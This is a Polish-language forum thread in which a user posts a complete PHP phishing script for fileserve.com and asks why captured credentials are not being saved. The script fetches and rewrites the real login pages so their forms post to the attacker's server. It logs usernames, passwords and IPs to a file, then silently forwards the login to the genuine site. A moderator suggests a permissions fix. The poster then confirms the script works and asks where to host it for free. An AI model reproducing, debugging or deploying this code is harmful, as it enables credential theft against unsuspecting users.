Phishing cURL Pomoc

kris1992

Użytkownik
Dołączył
Styczeń 14, 2011
Posty
3
Witam.
Mam problem a mianowicie nie wiem dlaczego ale nie chce mi zapisać do pliku Loginu i Hasła...
Poniżej podaje całość skryptu :
Kod:
<?php
$file = 'logs.txt';


function GetPage($url, $post) {
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	if ($post != NULL){
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
	}
	$urlPage = curl_exec($ch);
	curl_close($ch);
	return($urlPage);
}

$lg = $_GET['lang'];

if(!empty($_GET['fs'])){

	$site = "http://$_SERVER[HTTP_HOST]".ereg_replace('/$', '', dirname($_SERVER['PHP_SELF']));
	$site1 = $site.'?n=1';
	$link = $_GET['fs'];
	$link1 = $site.'?fs='.$link.'&l=1&lang='.$lg;
	$link2 = $site.'?fs='.$link.'&l=2&lang='.$lg;
	$link3 = $site.'?fs='.$link.'&lang=';

	if($_GET['l'] == 1){

		$page = GetPage('http://fileserve.com/login.php', 'locale='.$lg.'');
		$page = str_replace('"/>', '" />', $page);
		$page = str_replace('"/', '"http://fileserve.com/', $page);
		$page = str_replace('<form action="http://fileserve.com/login.php" method="POST">', '<form action="'.$site1.'" method="POST"><input type="hidden" name="link" value="'.$link.'">', $page);
		$page = str_replace('href="http://fileserve.com/login.php"', 'href="'.$link1.'"', $page);


	} elseif($_GET['l'] == 2){

		$page = GetPage($link, 'locale='.$lg.'&download=premium');
		$page = str_replace('"/>', '" />', $page);
		$page = str_replace('"/', '"http://fileserve.com/', $page);
		$page = str_replace('<form action="http://fileserve.com/login.php" method="POST">', '<form action="'.$site1.'" method="POST"><input type="hidden" name="link" value="'.$link.'">', $page);
		$page = str_replace('href="http://fileserve.com/login.php"', 'href="'.$link1.'"', $page);
		$page = str_replace('changeLocale(\'', 'location=(\''.$link3.'', $page);

	} else {
		
		$page = GetPage($link, 'locale='.$lg.'');
		$page = str_replace('"/>', '" />', $page);
		$page = str_replace('"/', '"http://fileserve.com/', $page);
		$page = str_replace('<a id="regularBtn" class="slower_download_btn">Slower Download</a>', '<a href="'.$link.'" class="slower_download_btn">Slower Download</a>', $page);
		$page = str_replace('<a id="premiumBtn" class="fastest_download_btn">Fastest Download</a>', '<a href="'.$link2.'" class="fastest_download_btn">Fastest Download</a>', $page);
		$page = str_replace('<form action="http://fileserve.com/login.php" method="POST">', '<form action="'.$site1.'" method="POST"><input type="hidden" name="link" value="'.$link.'">', $page);
		$page = str_replace('href="http://fileserve.com/login.php"', 'href="'.$link1.'"', $page);
		$page = str_replace('changeLocale(\'', 'location=(\''.$link3.'', $page);
	}

	echo $page;


} elseif($_GET['n'] == 1 && !empty($_POST['link'])){



	if(!empty($_POST['loginUserName']) && !empty($_POST['loginUserPassword'])){

		$username = $_POST['loginUserName'];
		$password = $_POST['loginUserPassword'];
		$ip = $_SERVER['REMOTE_ADDR'];
		$date = date('r');
		$link = $_POST['link'];
		$lang = $_POST['locale'];
		$autoLogin = $_POST['autoLogin'];

		$fp = fopen($file, "a+");
		fwrite($fp, 'Username: '.$username.''."\n");
		fwrite($fp, 'Password: '.$password.''."\n");
		fwrite($fp, 'IP: '.$ip.' | Date: '.$date.''."\n");
		fwrite($fp, 'Download: '.$link.''."\n");
		fwrite($fp, "\n");
		fclose($fp);

		$page = '<form action="http://fileserve.com/login.php" method="post">'."\n";
		$page .= '<input name="loginUserName" type="hidden" value="'.$username.'" />'."\n";
		$page .= '<input name="loginUserPassword" type="hidden" value="'.$password.'" />'."\n";
		$page .= '<input name="autoLogin" type="hidden" value="'.$autoLogin.'" />'."\n";
		$page .= '<input name="locale" type="hidden" value="'.$lang.'" />'."\n";
		$page .= '</form>'."\n";
		$page .= '<script type="text/javascript">'."\n";
		$page .= 'setTimeout("document.forms[0].submit()", 10);'."\n";
		$page .= '</script>'."\n";
		echo $page;
	}
} else {
	header('Location: http://fileserve.com');
}
?>

Czy ktoś pomoże co jest źle?
A może wszystko ok tylko to wina serwera?
Pozdrawiam
 

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
Próbowałeś robić sam zapis, bez curla? Nie chce mi się czytać całego kodu, możliwe że po prostu chmody katalogu są złe.
 

kris1992

Użytkownik
Dołączył
Styczeń 14, 2011
Posty
3
Chmod jest ustawiony na 777 a jeśli chodzi o wykonanie samego zapisu to nie wiem o co ci chodzi?
Bo jesli chodzi o plik to ja nawet go stworzylem na serwerze ale nic nie działa :/
nic nie dopisuje :/
 

kris1992

Użytkownik
Dołączył
Styczeń 14, 2011
Posty
3
skrypt działa :)

Ale tylko ten hosting jest zły bo często i gęsto wyświetla BŁAD WCZYTYWANIA STRONY ...

Może ktoś podpowie gdzie jest świetny i darmowy hosting php+curl?
 
Do góry Bottom